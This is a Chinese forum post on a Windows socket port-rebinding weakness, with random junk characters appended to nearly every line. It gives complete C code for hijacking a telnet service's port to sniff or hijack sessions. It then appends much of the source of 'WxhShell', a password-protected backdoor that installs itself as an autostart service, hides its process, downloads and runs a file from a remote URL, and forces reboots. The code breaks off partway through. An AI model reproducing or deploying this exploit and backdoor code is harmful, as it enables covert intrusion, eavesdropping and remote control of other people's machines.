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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: w[AL'1s]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?/8V%PL~$  
w^N QLV S  
  saddr.sin_family = AF_INET; G"h}6Za;DO  
Nt/hF>"7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #\\|:`YV  
<6X*k{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); e0hY   
^,aI2vC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ER0B{b  
fg4mP_  
  这意味着什么?意味着可以进行如下的攻击: |qBcE  
5GGO:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 1x%B`d  
7mE9Zo1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8{_lB#<[E  
lSc=c-iOv  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 W6B"QbHYz  
gFsqCx<q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Eihn%Esa  
QQv%>=_`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <T&v\DN  
%`YR+J/V  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 BvUiH<-D  
Y=5P=wE  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 P>(FCX  
Ih OAMH1  
  #include ij;P5OA  
  #include 8|zOgn{  
  #include ?wFL\C  
  #include    aemi;61T\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   opMnLor  
  int main() na"!"C s3  
  { T"<)B^8f  
  WORD wVersionRequested; 7Gy:T47T\@  
  DWORD ret; 'u~0rMe4})  
  WSADATA wsaData; J_?v=dW`  
  BOOL val; :Qh rh(i  
  SOCKADDR_IN saddr; 7*"Jx}eM  
  SOCKADDR_IN scaddr; 5JHEBw5W%  
  int err; MdmN7>  
  SOCKET s; !#=3>\np+X  
  SOCKET sc; X-#&]^d  
  int caddsize; SMzq,?-`  
  HANDLE mt; m xqY  
  DWORD tid;   Hq!|r8@6  
  wVersionRequested = MAKEWORD( 2, 2 ); *ifz@8C }  
  err = WSAStartup( wVersionRequested, &wsaData ); [FLR&=.(  
  if ( err != 0 ) { I Zw  
  printf("error!WSAStartup failed!\n"); :q?#$?  
  return -1; FRQ0t!b<M1  
  } K6sXw[VC[  
  saddr.sin_family = AF_INET; "%\hDL;  
   5 7-Hx;  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0[e!/*_V  
6?;z\ AP&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ih>s2nL  
  saddr.sin_port = htons(23); )Yv=:+f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |0Xf":  
  { 3bYjW=_hA  
  printf("error!socket failed!\n"); Ri~$hs!  
  return -1; M&/%qF15  
  } ?{e}ouKYX1  
  val = TRUE; 5OzEY7K)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *@ H\J e`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gKQV99  
  { K/K-u  
  printf("error!setsockopt failed!\n"); I]E 3&gnC  
  return -1; Q$v00z]f*  
  } -J8Hsqf@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ixSr*+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =*"8N-FU  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p4*L}Q  
lo(C3o'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) wjD<"p;P  
  { g,rmGu3v  
  ret=GetLastError(); m\X\Xp~A  
  printf("error!bind failed!\n"); D>-r `  
  return -1; QS5t~rb  
  } E6Z kO/  
  listen(s,2); \2 e^x  
  while(1) 23WrJM!2N  
  { .7  0  
  caddsize = sizeof(scaddr); }\Rmwm-  
  //接受连接请求 &9fQW?Czs  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ir/uHN@  
  if(sc!=INVALID_SOCKET) doOuc4  
  { <|jh3Hlp  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <r.QS[:h  
  if(mt==NULL) )*>wa%[-q  
  { cw{TS  
  printf("Thread Creat Failed!\n"); \yC/OLXq  
  break; 0o"aSCq8t  
  } W(R~K -  
  } &29jg_'W  
  CloseHandle(mt); { ]_j)R  
  } U/^#nU.,  
  closesocket(s); 8hD[z}  
  WSACleanup(); Cj<8r S4+  
  return 0; tP7<WGHd/  
  }   t15{>>f4>  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0B7G:X0  
  { XFvl  
  SOCKET ss = (SOCKET)lpParam; L_RVHvA=M/  
  SOCKET sc; 6UuN-7z!"  
  unsigned char buf[4096]; ]LUcOR  
  SOCKADDR_IN saddr; HyVV,q^E  
  long num; ws+'*7  
  DWORD val; ,>h"~X  
  DWORD ret;  o+'|j#P  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y~8 5Z0l  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gS5MoW1  
  saddr.sin_family = AF_INET; Y=O+d\_W  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); G<n75!  
  saddr.sin_port = htons(23); M|mfkIk0MB  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]}XDDPbZ}  
  { zMFTkDY  
  printf("error!socket failed!\n"); ld@+p  
  return -1; eIY`RMo (  
  } suwR`2  
  val = 100; "!V`_ S;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]s AuL!  
  { ( .cA'f?h  
  ret = GetLastError(); HS/.H,X  
  return -1; .Y;f 9R  
  } TA-2{=8  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :LY.C<8  
  { Ee2P]4_d  
  ret = GetLastError(); "u!gfG?oH  
  return -1; 2c 0;P #ol  
  } <@KIDZYC  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <&l$xn  
  { MmN{f~Kq9  
  printf("error!socket connect failed!\n"); #0aBQ+_8H  
  closesocket(sc); e^>>" tr  
  closesocket(ss); ['=O>YY  
  return -1; V%r`v%ktF  
  } /DHgwpJ  
  while(1) S F*C'  
  { <v|"eq}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4k<o  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @)6b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ^EX"fRwNi  
  num = recv(ss,buf,4096,0); @"MYq#2c$  
  if(num>0) M/=36{,w-  
  send(sc,buf,num,0); ly17FLJ].  
  else if(num==0) k8+J7(_c  
  break; FT- .gi0  
  num = recv(sc,buf,4096,0); )bOfs*S  
  if(num>0) z/ 1$G"  
  send(ss,buf,num,0); 5lG\ Z?  
  else if(num==0) at_*Zh(  
  break; 'Z4}O_5_  
  } ]u|v7}I4  
  closesocket(ss); :@[\(:  
  closesocket(sc); E{u6<B*  
  return 0 ; EVX3uC}{  
  } ju{Y6XJ)  
?n `m  
?[Lk]A&"L2  
========================================================== GpeW<% \P  
!Zj ]0,^  
下边附上一个代码,,WXhSHELL pY"WW0p"C  
&L+uu',M0c  
========================================================== \Mg_Q$  
1n8[fgz  
#include "stdafx.h" <bzzbR[F  
lLTqk\8g  
#include <stdio.h> e c&Y2  
#include <string.h> 4|`>}Nu  
#include <windows.h> +twoUn{#  
#include <winsock2.h> ?IVJ#6[  
#include <winsvc.h> 6WY/[TC-  
#include <urlmon.h> @=Q!a (g  
Z v@nK%#J  
#pragma comment (lib, "Ws2_32.lib") o%t4WQ|bj  
#pragma comment (lib, "urlmon.lib") 5CFNBb%Xy  
U|} ?{x  
#define MAX_USER   100 // 最大客户端连接数 5[ zN M  
#define BUF_SOCK   200 // sock buffer M,]|L ch  
#define KEY_BUFF   255 // 输入 buffer MNd\)nX  
."$t&[;s  
#define REBOOT     0   // 重启 - eG~  
#define SHUTDOWN   1   // 关机 2IJK0w@  
H{*D c_  
#define DEF_PORT   5000 // 监听端口 JI5o~; }m  
t@qf/1  
#define REG_LEN     16   // 注册表键长度 9=>fx  
#define SVC_LEN     80   // NT服务名长度 XDemdMy$  
Z10Vx2B  
// 从dll定义API e3p|g]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |"gL {De  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); p\w<~ pN[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4nsJZo#S/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H$h#n~W~  
7Z< ~{eD,  
// wxhshell配置信息 FDz`U:8  
struct WSCFG { G\@pg;0|y  
  int ws_port;         // 监听端口 ljKIxSvCFp  
  char ws_passstr[REG_LEN]; // 口令 m-Eh0Zl>Z  
  int ws_autoins;       // 安装标记, 1=yes 0=no dz_S6o ]  
  char ws_regname[REG_LEN]; // 注册表键名 K;R H,o1  
  char ws_svcname[REG_LEN]; // 服务名 WoEK #,I;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nq M7Is  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yq%5h[M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u.GnXuax  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1r;zA<<%R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *&NP?-E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "hsT^sy  
F` U~(>u'  
}; ``-N2U5  
L'= \|r  
// default Wxhshell configuration R=z])  
struct WSCFG wscfg={DEF_PORT, 9d drtJ]  
    "xuhuanlingzhe", XnyN*}8  
    1, QKG3>lU  
    "Wxhshell", ')"+ a^c  
    "Wxhshell", CvoFt=c$jE  
            "WxhShell Service", &W2*'$j"_  
    "Wrsky Windows CmdShell Service", 3z8i0  
    "Please Input Your Password: ", U) J5K  
  1, o:Fq|?/e  
  "http://www.wrsky.com/wxhshell.exe", UY',n,  
  "Wxhshell.exe" _?tpO61g>  
    }; R BYhU55B  
|6E_N5~  
// 消息定义模块 }Pcm'o_wT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2d&F<J<sU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;k<dp7^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 80=0S^gEZ  
char *msg_ws_ext="\n\rExit."; j6m;03<|  
char *msg_ws_end="\n\rQuit."; BQ-x#[ %s  
char *msg_ws_boot="\n\rReboot..."; &`r/+B_W  
char *msg_ws_poff="\n\rShutdown...";  1MN!  
char *msg_ws_down="\n\rSave to "; Cr.YSW g)4  
0,%{r.\S  
char *msg_ws_err="\n\rErr!"; z#*.9/y\^R  
char *msg_ws_ok="\n\rOK!"; .xRdKt!p  
y\?ey'o  
char ExeFile[MAX_PATH]; 2cMC ZuO  
int nUser = 0; r_T)| ||v  
HANDLE handles[MAX_USER]; 3Ua?^2l  
int OsIsNt; EW `hL~{  
:viW  
SERVICE_STATUS       serviceStatus; (>al-vZ6A  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }%|ewy9|CW  
J&xZN8jW   
// 函数声明 M8/a laoT  
int Install(void); 76nH)^%l<  
int Uninstall(void); ~YYnn7)  
int DownloadFile(char *sURL, SOCKET wsh); Su#0 F0  
int Boot(int flag); i>m%hbAk  
void HideProc(void); SMN.AJ J  
int GetOsVer(void); KgL!~J  
int Wxhshell(SOCKET wsl); Tc WCr  
void TalkWithClient(void *cs); QNNURf\[(  
int CmdShell(SOCKET sock); gEh/m.L7  
int StartFromService(void); da$FY7  
int StartWxhshell(LPSTR lpCmdLine); I3t5S;_8  
#D`@G8~(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +?_!8N8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >US*7m }  
@62T:Vl  
// 数据结构和表定义 '}.Yf_  
SERVICE_TABLE_ENTRY DispatchTable[] = 5ya9VZ5#  
{ fkV@3sj  
{wscfg.ws_svcname, NTServiceMain}, {9x_E {  
{NULL, NULL} mWp>E`l  
}; zggnDkC5  
J@3,  
// 自我安装 P'W} ]mCD  
int Install(void) Ln+l'&_nb  
{ /fI}QY1  
  char svExeFile[MAX_PATH]; 1dH|/9  
  HKEY key; eADCT  
  strcpy(svExeFile,ExeFile); 8w0~2-v.?V  
LP vp (1  
// 如果是win9x系统,修改注册表设为自启动 m^A2 8X7  
if(!OsIsNt) { 1Viz`y)^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DH(<{ #u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FQZ*i\G>>  
  RegCloseKey(key);  TGCB=e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SDnl^a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2b"*~O;  
  RegCloseKey(key); qE)FQeN  
  return 0; q}{E![ZTu  
    } ) c@gRb~  
  } 8D*7{Q  
} 1 .3#PdMR,  
else { [M|^e;tWK  
=*\s`ox`  
// 如果是NT以上系统,安装为系统服务 n Bu!2c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?@64gdlwq  
if (schSCManager!=0) OH`a3E{e  
{ \6b~$\~B  
  SC_HANDLE schService = CreateService `|t,Uc|7!  
  ( k&Pt\- 9on  
  schSCManager, S=@+qcI  
  wscfg.ws_svcname,  }k^uup*{  
  wscfg.ws_svcdisp, .;? Bni  
  SERVICE_ALL_ACCESS, {U5sRM|I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A  6(`  
  SERVICE_AUTO_START, e" v%m 'G  
  SERVICE_ERROR_NORMAL, i5e10@Q{  
  svExeFile, :'%6  
  NULL, 'Y?-."eKh  
  NULL, v">?`8V  
  NULL, 1T^WMn:U  
  NULL, -U|c~Cqc  
  NULL 9CD ei~  
  ); @Z5q2Q  
  if (schService!=0) k/K)nH@)  
  { s QDgNJbU  
  CloseServiceHandle(schService); 'HA{6v,y  
  CloseServiceHandle(schSCManager); I68u%fCv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y{Z&W9U  
  strcat(svExeFile,wscfg.ws_svcname); }Fe~XO`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BQu |qr q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8_Oeui(i  
  RegCloseKey(key); "j>X^vn  
  return 0; s^k G]7  
    } QoD_`d  
  } &Vlno*  
  CloseServiceHandle(schSCManager); eg[EFI.h  
} t@%w:*&  
} g6M>S1oOO  
z/7q#~J,  
return 1; E7uIur=g!  
} ]c(FgY c  
TvU z^  
// 自我卸载 +=tdgw/  
int Uninstall(void) 1XGg0SC  
{ Cfi{%,em  
  HKEY key; Jh"[ug  
!3b& S4  
if(!OsIsNt) { :.:^\Q0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 85<k'>~L  
  RegDeleteValue(key,wscfg.ws_regname); XC<fNK  
  RegCloseKey(key); >"W^|2R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /}:{(Go  
  RegDeleteValue(key,wscfg.ws_regname); P{Nvt/%  
  RegCloseKey(key); >y%H2][  
  return 0; j=sfE qN).  
  } T KZtoQP%  
} bZowc {!\  
} *xnZTj:  
else { SmXoNiM"y  
F`D$bE;|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Ntk -p  
if (schSCManager!=0) w{ja*F6  
{  _){|/Zd  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~Ztn(1N  
  if (schService!=0) +k`L8@a3&  
  { [ &TF]az  
  if(DeleteService(schService)!=0) { De$~ *2  
  CloseServiceHandle(schService); (5T>`7g8  
  CloseServiceHandle(schSCManager); 2?,Jn&i5  
  return 0; -]3K#M)s  
  } (HNc9QVC'W  
  CloseServiceHandle(schService); Mc,79Ix"  
  } x@#>l8k?  
  CloseServiceHandle(schSCManager); ?2@^O=I  
} jWdviS9&g  
} ]\yIHdcDi  
Ib(C`4%  
return 1; ;c 7I "?@z  
} prJd'  
U9 iI2$  
// 从指定url下载文件 +d, ~h_7!  
int DownloadFile(char *sURL, SOCKET wsh) sI,cX#h&Y  
{ N&8$tJ(hhx  
  HRESULT hr; ( 5LCy?-6  
char seps[]= "/"; P1F-Wy1  
char *token; -}7$;QK&a  
char *file; dL42)HP5  
char myURL[MAX_PATH]; {"o9pIh{~  
char myFILE[MAX_PATH]; *@rA7zPFf  
]d*9@+Iu  
strcpy(myURL,sURL); oW~W(h!  
  token=strtok(myURL,seps); Zkp~qx  
  while(token!=NULL) K V5 '-Sv1  
  { W8W7<ml0A  
    file=token; >a"J);p  
  token=strtok(NULL,seps); ()lgd7|+  
  } EjP;P}_iK  
6,t6~Uo/  
GetCurrentDirectory(MAX_PATH,myFILE); & SXw=;B  
strcat(myFILE, "\\"); V]zZb-m=  
strcat(myFILE, file); %&L1 3:  
  send(wsh,myFILE,strlen(myFILE),0); b++r#Q g  
send(wsh,"...",3,0); ,_V V;P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); C'#KTp4!1  
  if(hr==S_OK) 0["93n}r  
return 0; kpgvAKyx  
else "uH>S+%|b  
return 1; l b(  
I%d=c0>%  
} ~RR!~q  
*7Vb([x4;  
// 系统电源模块 t<rIg1  
int Boot(int flag) yY VR]HH  
{ M`Y^hDl6  
  HANDLE hToken;  'z} t= ?  
  TOKEN_PRIVILEGES tkp; (.-4Jn  
N,Y)'s<  
  if(OsIsNt) { H(y`[B,}*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1EU4/6!C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9=j9vBV  
    tkp.PrivilegeCount = 1; ZthT('"a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MCN>3/81  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5FZw (E  
if(flag==REBOOT) { ,z&S;f.f  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |~Dl<#58  
  return 0; m CO1,?  
} 15ailA&(Qm  
else { KZKE&bTx  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;21D^e  
  return 0; ]\*^G@HA2  
} 0B.Gt&O al  
  } )Do 0  
  else { ?V6,>e_+  
if(flag==REBOOT) { wR%Ta-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {/QVs?d  
  return 0; %IsodtkDu  
} c~<;}ve^z  
else { H<d~AurX)J  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @7 Ry{,A  
  return 0; dlYpbw}W&<  
} \_Bj"K  
} P j   
C|ZPnm>f30  
return 1; G)am ng/  
} Z- feMM  
b,'O|s]"Sc  
// win9x进程隐藏模块 01A{\O1$j  
void HideProc(void) R'Jrbe|  
{ S;4:`?s=i  
HLWffO/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <Kt_ oxK,  
  if ( hKernel != NULL ) {SV/AN  
  { Z"8lW+r *  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {lf{0c$X.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k%6CkC w  
    FreeLibrary(hKernel); :a}](Wn  
  } T.da!!'B f  
wv9HiHz8gD  
return; !v}TRGX  
} bWTf P8gT  
aqON6|6K  
// 获取操作系统版本 ) H,Xkex  
int GetOsVer(void) = wz}yfdrC  
{ g~DuK|+  
  OSVERSIONINFO winfo; |.k'?!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g*YDgY  
  GetVersionEx(&winfo); J5{;+ysUMl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a0|hLqI  
  return 1; V_h&9]RL  
  else e a=E/HR-  
  return 0; _,drOF|e  
} hU$a Z  
n\+ c3  
// 客户端句柄模块 afrF%!  
int Wxhshell(SOCKET wsl) `;85Mo:qJ  
{ ]$/oSa/  
  SOCKET wsh; Mq\=pxC@  
  struct sockaddr_in client; hhU_kI  
  DWORD myID; +p%3pnj:K  
syw1Z*WK  
  while(nUser<MAX_USER) b6-N2F1Fs  
{ L;3%8F\-.  
  int nSize=sizeof(client); AYn65Ly  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Fx^wV^q3  
  if(wsh==INVALID_SOCKET) return 1; lEk@I"  
-PpcFLZ|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :;_ khno  
if(handles[nUser]==0) :9hGL  
  closesocket(wsh); (4FVemgy  
else %axr@o[  
  nUser++; x_Ev2 c'4  
  } Ja6KO2}p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6*Z7JiQ 0  
3X gJZ  
  return 0; 2F2Hl   
} DZqPCMz)^  
QoYEWXT|g  
// 关闭 socket pA!-spgX  
void CloseIt(SOCKET wsh) RRja{*R  
{ Kn^+kHh:  
closesocket(wsh); ^*AI19w!Ys  
nUser--; U<'N=#A J  
ExitThread(0); {T8;-H0H  
} }#^C j;  
?F05BS#)X  
// 客户端请求句柄 7eCj p  
void TalkWithClient(void *cs) O h@z<1eYZ  
{ h`6 (Oo|  
u IXA{89  
  SOCKET wsh=(SOCKET)cs; )Q=u[ p  
  char pwd[SVC_LEN]; T]\1gs41  
  char cmd[KEY_BUFF]; V#Wy` ce  
char chr[1]; VukbvBWPN  
int i,j; cy^=!EfA  
}2]|*?1,  
  while (nUser < MAX_USER) { e* [wF}))  
w-Ph-L/  
if(wscfg.ws_passstr) { xeF>"6\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zv@qdY<:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `PARZ|  
  //ZeroMemory(pwd,KEY_BUFF); P&Ke slk  
      i=0; Ll|-CY $  
  while(i<SVC_LEN) { .?u<|4jE6  
iYr)Ao5X  
  // 设置超时 lrE"phYk  
  fd_set FdRead; =NY;#Jjn  
  struct timeval TimeOut; RiTL(Yx  
  FD_ZERO(&FdRead); K$Bv4_|x  
  FD_SET(wsh,&FdRead); ]he~KO[j<  
  TimeOut.tv_sec=8; `W x| 4  
  TimeOut.tv_usec=0; KPToyCyR1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A}lxJ5h0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); M@T{uo  
Sqa9+' [  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]zYIblpde  
  pwd=chr[0]; <,:{Q75  
  if(chr[0]==0xd || chr[0]==0xa) { :of([e|u6  
  pwd=0; @1o X&#  
  break; [l-o*@  
  } N[cIr{XBGN  
  i++; +mrLMbBiD  
    } 6 ) i-S<(  
K9@.l~n  
  // 如果是非法用户,关闭 socket neU=1socJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p<r^{y  
} ^t3>Z|DiB^  
'@Uu/~;h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w>B}w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2q[pOT'k  
E7O3$B8  
while(1) { Gor 9 &aJ1  
$2W#'_K+  
  ZeroMemory(cmd,KEY_BUFF); syr0|K[  
k' 8q /]  
      // 自动支持客户端 telnet标准   SA'g`  
  j=0; eQi^d/yi  
  while(j<KEY_BUFF) { WD%(RC"Q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &-*l{"7p+%  
  cmd[j]=chr[0]; V< F &\  
  if(chr[0]==0xa || chr[0]==0xd) { y^H5iB[SPL  
  cmd[j]=0; ;?{^LiD+F  
  break; +2{ f>KZ  
  } rfonM~3?'  
  j++; f:M^q ;  
    } +=/j+S`  
wnC-~&+6  
  // 下载文件 eZ:iW#YF  
  if(strstr(cmd,"http://")) { t0f7dU3e;L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); n1; a~0P  
  if(DownloadFile(cmd,wsh)) T8m]f<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d*|RFU  
  else ,Mw93Kp Va  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WdOxwsq"  
  } (RI)<zaK ;  
  else { C rR/  
$*eYiz3Ue  
    switch(cmd[0]) { [C EV&B  
  "3VX9{'%@  
  // 帮助 -n 7 @r  
  case '?': { s O#cJAfuu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); bqH [-mu6  
    break; d3znb@7  
  } ovN3.0tAI  
  // 安装 HsYzIQLL  
  case 'i': { |"K%Tvxe  
    if(Install()) $W|JQ h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,~cK]!:>s  
    else 1)c{;x& W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #r9\.NA!  
    break; "iEnsP@'Wg  
    } X_'tgP9  
  // 卸载 6{;6~?U  
  case 'r': { 2 K_ QZ  
    if(Uninstall()) 6)sKg{H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Yvz-aSyO  
    else c9c]1XJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #jBmWaP.  
    break; ?8$`GyjS  
    } 2@bOy~$A  
  // 显示 wxhshell 所在路径 J t.<Z&  
  case 'p': { 8{0XqE~ix=  
    char svExeFile[MAX_PATH]; SOG(&)b  
    strcpy(svExeFile,"\n\r"); egsP\ '  
      strcat(svExeFile,ExeFile); & PXT$x[i  
        send(wsh,svExeFile,strlen(svExeFile),0); {*bx8*y1  
    break; S8qg"YR  
    } } Nn+Ny  
  // 重启 8/p ]'BLf  
  case 'b': { ->pU!f)\X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _f 2rz+  
    if(Boot(REBOOT)) jy0aKSn8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ue3 ].:  
    else { ,W+=N"`a'  
    closesocket(wsh); h];H]15&  
    ExitThread(0); 9Pg6,[*u  
    } V(kK2az  
    break; 28v^j*=* \  
    } zq + 2@"q  
  // 关机 %H?B5y  
  case 'd': { f'ld6jt|%  
